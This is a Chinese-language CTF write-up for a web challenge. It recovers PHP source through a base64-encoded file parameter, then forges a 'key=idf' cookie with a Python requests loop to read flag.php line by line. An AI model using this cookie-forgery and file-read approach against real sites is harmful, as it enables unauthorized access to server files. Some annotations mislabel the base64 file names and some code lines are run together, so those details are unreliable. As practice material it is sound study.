IDF-cookie欺骗

时间:2022-11-21 04:52:57

原题链接:http://ctf.idf.cn/game/web/40/index.php

  1. 进入题目,发现一个长字符串,放到md5、base64均无意义。
  2. 观察地址栏,发现有两个参数,line和file

IDF-cookie欺骗

(1)将file=后的参数放到base64解码(url参数传递一般用base64编码),可知该串原意为:flag.txt

(2)既然知道后面是接文件名,假设flag.txt在当前目录,那么猜想有其他的文件也在通过用base64加密的方式输入到url中访问,对index.html和index.php分别进行测试,line从0向上遍历

3.尝试后可知,当file=aW5kZXgucGhw(index.php的base64编码)时,line的取值可获取index.php源代码的第line行

IDF-cookie欺骗

4.遍历整个文件可得:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

(1)分析代码,做出以下注释

error_reporting(0);
//不打印页面访问错误报告 $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
//解码地址栏中file=后的内容 $line=isset($_GET['line'])?intval($_GET['line']):0;
//获取地址栏中line=后的内容 if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
//若地址为空,则跳转到原界面(flag.txt) 无论line的值 $file_list = array('0' =>'flag.txt','1' =>'index.php',);
//创建file_list数组 if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='flag.php';
}
//若id为key的cookie有定义,并且值为idf 则在file_list第三个位置插入flag.php if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
//若file_list数组内存在file文件名,则打印该文件的第line行代码
?>

(2)阅读代码可知,cookie的名为key,值为idf, 将file参数置为ZmxhZy50eHQ(flag.php的base64码)可以通过cookie欺骗的方式访问flag.php文件

5.下面用python进行cookie欺骗及遍历源代码

import requests  #该库需要安装 安装过程自行百度
import sys cookies = {'key': 'idf'} #设置cookies的key值为idf 即cookies欺骗 for i in range(0,20): #循环打开网页并抓取网页文本信息
url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
wp = requests.get(url, cookies=cookies)
print(wp.text) print("get flag success")

6.最终得到flag.txt 内容为:

flag即为wctf{idf_c00kie}